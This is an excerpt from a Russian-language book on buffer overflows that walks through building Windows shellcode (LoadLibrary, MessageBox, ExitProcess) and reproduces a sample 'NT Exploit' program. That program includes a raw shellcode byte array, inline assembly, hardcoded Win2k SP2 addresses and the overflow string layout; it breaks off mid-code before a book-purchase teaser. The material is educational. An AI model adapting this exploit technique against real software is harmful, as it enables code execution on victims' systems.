Теперь вместе с программой будет загружена динамически подключаемая библиотека user32.dll, а значит, и код функции MessageBox(). Тем самым будут обеспечены все функциональные возможности для успешной работы программного кода полезной нагрузки.
Последнее, на что следует обратить внимание. После передачи управления программному коду полезной нагрузки и его выполнения атакованная программа, вероятнее всего, завершится аварийно, поскольку она попытается выполнить данные стека после кода полезной нагрузки. Это нехорошо. Поэтому процесс должен быть завершен функцией
ExitProcess().В результате заключительный исходный текст прототипа программного кода полезной нагрузки на языке C перед преобразованием в код ассемблера приобретает следующий вид:
LoadLibraryA(“User32”);
MessageBox(NULL, “hi”, NULL, MB_OK);
ExitProcess(1);
Для преобразования прототипа программного кода полезной нагрузки на языке C в код ассемблера воспользуемся встроенным ассемблером компилятора Visual C, а затем перенесем результат трансляции в буфер BYTE.
Вместо того чтобы в этом месте привести пример соответствующего программного кода ассемблера, будет лучше, если читатель просмотрит приведенный ниже пример программы переполнения буфера, в которой создается файл, инициализируется заполнителем буфер, определяется точка перехода, в буфер записывается программный код полезной загрузки и, наконец, буфер выгружается в файл.
При желании перед записью программного кода полезной нагрузки в файл можно оттестировать его. Для этого следует убрать комментарии в части кода, отмеченного как тест. Это приведет к выполнению программного кода полезной нагрузки вместо записи его в файл.
Приведенная ниже программа была написана как пример программирования основных положений переполнения буфера. В ней использованы определенные символическими константами адреса используемых функций, поэтому она может не работать на системе, несовместимой с Win2k sp2.
Программа проста и непереносима. Для ее работы на других платформах следует заменить значения символических констант, определенных макросами #define, на правильные адреса используемых функций. Адреса можно узнать с помощью утилит Visual Studio depends.exe или dumpbin.exe.
Изюминка приведенной программы заключается в нестандартном использовании команды call. Нестандартное применение команды call позволяет загрузить в стек адрес строки символов, расположенной следом за командой call. Это позволяет не только включить данные в программный код, но и не требует знания адреса загрузки программного кода полезной нагрузки или смещений в управляющем коде.
Другими словами, команда call записывает в стек адрес следующей за ней строки, полагая, что записывает адрес команды, которая будет выполнена по завершении функции командой ret. Аналогичный прием был использован в программе переполнения буфера для Linux.
Для безошибочной трансляции программы компилятором Visual Studio при включении строки символов в программный код требуется использовать директиву
_emit.
#include
/*
Example NT Exploit
Ryan Permeh, ryan@eeye.com
*/
int main(int argc,char **argv)
{
#define MBOX 0x77E375D5
#define LL 0x77E8A254
#define EP 0x77E98F94
DWORD EIP=0x77E8250A; // a pointer to a
//call ESP in KERNEL32.dll
//found with findoffset.c
BYTE writeme[65]; //mass overflow holder
BYTE code[49] ={
0xE8, 0x07, 0x00, 0x00, 0x00, 0x55,
0x53, 0x45, 0x52, 0x33, 0x32, 0x00,
0xB8, 0x54, 0xA2, 0xE8, 0x77, 0xFF,
0xD0, 0x6A, 0x00, 0x6A, 0x00, 0xE8,
0x03, 0x00, 0x00, 0x00, 0x48, 0x49,
0x00, 0x6A, 0x00, 0xB8, 0xD5, 0x75,
0xE3, 0x77, 0xFF, 0xD0, 0x6A, 0x01,
0xB8, 0x94, 0x8F, 0xE9, 0x77, 0xFF,
0xD0
};
HANDLE file;
DWORD written;
/*
__asm
{
call tag1 ; jump over(trick push)
_emit 0x55 ; “USER32”,0x00
_emit 0x53
_emit 0x45
_emit 0x52
_emit 0x33
_emit 0x32
_emit 0x00
tag1:
// LoadLibrary(“USER32”);
mov EAX, LL ;put the LoadLibraryA
address in EAX
call EAX ;call LoadLibraryA
push 0 ;push MBOX_OK(4th arg to mbox)
push 0 ;push NULL(3rd arg to mbox)
call tag2 ; jump over(trick push)
_emit 0x48 ; “HI”,0x00
_emit 0x49
_emit 0x00
tag2:
push 0 ;push NULL(1st arg to mbox)
// MessageBox (NULL, “hi”, NULL, MB_OK);
mov EAX, MBOX ;put the MessageBox
address in EAX
call EAX ;Call MessageBox
push 1 ;push 1 (only arg
to exit)
// ExitProcess(1);
mov EAX, EP ; put the
ExitProcess address in EAX
call EAX ;call ExitProcess
}
*/
/*
char *i=code; //simple test code pointer
//this is to test the code
__asm
{
mov EAX, i
call EAX
}
*/
/* Our overflow string looks like this:
[0x90*12][EIP][code]
The 0x90(nop)’s overwrite the buffer, and the saved EBP on
the stack, and then EIP replaces the saved EIP on the stack.
The saved EIP is replaced with a jump address that points to
a call ESP. When call ESP executes, it executes our code
waiting in ESP.*/
memset(writeme,0x90,65); //set my local string to nops
memcpy(writeme+12,&EIP,4); //overwrite EIP here
memcpy(writeme+16,code,49); // copy the code into our
temp buf
//open the file
file=CreateFile(“badfile”,GENERIC_WRITE,0,NULL,
Читать дальше
Конец ознакомительного отрывка
Купить книгу